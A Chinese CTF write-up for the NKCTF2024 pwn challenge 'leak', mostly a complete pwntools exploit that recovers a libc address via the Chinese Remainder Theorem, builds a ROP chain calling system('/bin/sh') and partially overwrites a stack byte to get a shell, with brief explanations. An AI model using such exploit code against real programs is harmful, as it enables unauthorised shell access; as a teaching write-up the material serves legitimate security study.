[NKCTF2024]-PWN:leak解析(中国剩余定理泄露libc地址,汇编覆盖返回地址)

查看保护

查看ida

先放exp

完整exp:

复制代码
from pwn import*
from sympy.ntheory.modular import crt
context(log_level='debug',arch='amd64')

while True:
    p=process('./leak')
    ps=[101,103,107,109,113,127]
    p.sendafter(b'secret\n',bytes(ps))
    cs=[0]*6
    for i in range(6):
        cs[i]=u32(p.recv(1).ljust(4,b'\x00'))
    print(hex(cs[i]))
    onestack=u32(p.recv(1).ljust(4,b'\x00'))
    if onestack+0x58>0xff:
        p.close()
        continue
    print("onestack"+hex(onestack))
    res=crt(ps,cs)[0]
    n=1
    for i in range(0,6):
        n*=ps[i]
    c=0
    stdout=0
    while True:
        stdout=res+c*n
        if (stdout>>44)==0x07:
            if (stdout&0xfff)==0x780:
                break
        c+=1
        assert c<100
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libcbase=stdout-libc.sym['_IO_2_1_stdout_']
    ret=libcbase+0x29139
    pop_rdi=libcbase+0x2a3e5
    system=libcbase+libc.sym['system']
    binsh=libcbase+next(libc.search(b'/bin/sh'))
    payload=p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p8((onestack+0x58)&0xff)
    p.send(payload)
    #p.send(b'aa')

    p.interactive()
    break

#解释点1:这里是接收程序输出的六次结果来解中国剩余定理来算出stdout的地址,算出libc基地址。

#解释点2:这里最后覆盖一个字节的栈地址是为了把payload全覆盖到返回地址上去。这个是从汇编指令上看的

这里把地址移动到rcx之后就以rcx内的值来确定移动位置,因为rbp+buf的位置存的是栈上地址,如果我们把最后一个字节覆盖掉就可以控制rcx的值,从而控制payload移动的位置,执行getshell。

相关推荐
汽车仪器仪表相关领域44 分钟前
Kvaser Air Bridge Light HS:免配置工业级无线 CAN 桥接器,70 米稳定传输,移动设备与动态场景的 CAN 互联理想之选
人工智能·功能测试·安全·单元测试·汽车·可用性测试
上海云盾王帅2 小时前
WEB业务如何接入安全防护:从零到一的实战指南
前端·安全
其实防守也摸鱼3 小时前
软件安全与漏洞--软件安全设计
运维·网络·安全·网络安全·密码学·需求分析·软件安全
一只数据集3 小时前
NVIDIA Nemotron AIQ Agentic Safety Dataset:面向企业级智能体系统的安全与防护评估数据集全面解析
网络·数据库·安全
treesforest3 小时前
IP地址段查询完全指南:从单IP查到IPv4段批量归属地查询
网络·数据库·网络协议·tcp/ip·网络安全·运维开发
黎阳之光4 小时前
全域实景立体管控:数字孪生与视频孪生技术体系白皮书
大数据·人工智能·算法·安全·数字孪生
KKKlucifer4 小时前
API全生命周期安全管控:从开发、上线到下线闭环
安全
上海云盾商务经理杨杨4 小时前
企业级DDoS防护核心:流量清洗技术全解析
网络·安全·ddos
飞函安全4 小时前
法务、人资、财务共用协同平台时,怎样避免权限串线和资料误传
大数据·安全·私有化im
сокол5 小时前
【网安-Web渗透测试-内网渗透】内网横向移动——IPC连接
服务器·windows·网络安全·系统安全